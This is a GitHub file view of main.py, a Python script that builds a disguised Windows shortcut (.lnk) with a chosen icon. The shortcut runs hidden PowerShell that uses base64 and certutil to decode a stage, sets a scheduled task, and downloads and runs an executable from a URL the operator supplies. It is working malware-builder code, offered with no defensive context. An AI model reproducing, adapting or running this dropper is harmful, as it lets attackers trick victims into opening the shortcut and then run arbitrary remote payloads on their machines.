-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
40 lines (29 loc) · 1.38 KB
/
main.py
File metadata and controls
40 lines (29 loc) · 1.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os
import sys
try:
import win32com.client
except:
os.system("pip install pywin32")
import win32com.client
import base64
def create_shortcut(target, shortcut_name, code, working_dir=None, icon_path=None):
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut(shortcut_name)
shortcut.Targetpath = target
if working_dir:
shortcut.WorkingDirectory = working_dir
if icon_path:
shortcut.IconLocation = icon_path
shortcut.Arguments = code
shortcut.save()
def main():
fileurl = input('File URL -> ')
cmd = f"""powershell -command -WindowStyle hidden "IWR '{fileurl}' -OutFile '$env:TEMP\end.exe'"; Unregister-ScheduledTask -TaskName "n5dMmJEBYc"-Confirm:$false ; start $env:TEMP\end.exe"""
data = base64.b64encode(cmd.encode()).decode()
cmd_commands = f'''powershell -WindowStyle hidden echo {data} > $env:TEMP\phase1.ps1;certutil -decode $env:TEMP\phase1.ps1 $env:TEMP\phase2.ps1; schtasks /create /f /sc minute /mo 1 /tn n5dMmJEBYc /tr \"%TEMP%\\phase2.ps1\" '''
script_dir = os.path.dirname(os.path.abspath(__file__))
shortcut_name = os.path.join(script_dir, 'RenameAsYouWish.lnk')
icon = input('Input an icon (Nothing if None) -> ')
create_shortcut("powershell", shortcut_name, cmd_commands,None,icon_path=icon)
if __name__ == "__main__":
main()